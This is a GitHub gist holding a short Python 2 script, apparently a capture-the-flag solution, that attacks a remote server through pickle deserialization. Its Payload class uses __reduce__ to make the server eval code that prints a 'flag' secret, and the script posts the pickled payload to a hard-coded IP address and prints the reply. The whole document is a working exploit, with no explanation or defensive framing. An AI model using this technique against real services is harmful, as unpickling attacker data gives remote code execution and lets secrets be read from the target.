Created
December 30, 2015 04:10
-
-
Save cubarco/e46eb03e1cd06046d130 to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env python | |
# coding=utf8 | |
import urllib2 | |
import pickle | |
class Payload(object): | |
def __reduce__(self): | |
comm = "sys.stderr.write(__import__('__main__').flag.flag)" | |
return (eval, (comm, )) | |
data = pickle.dumps(Payload()) | |
print data | |
print urllib2.urlopen('http://136.243.194.43/', data=data).read() |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment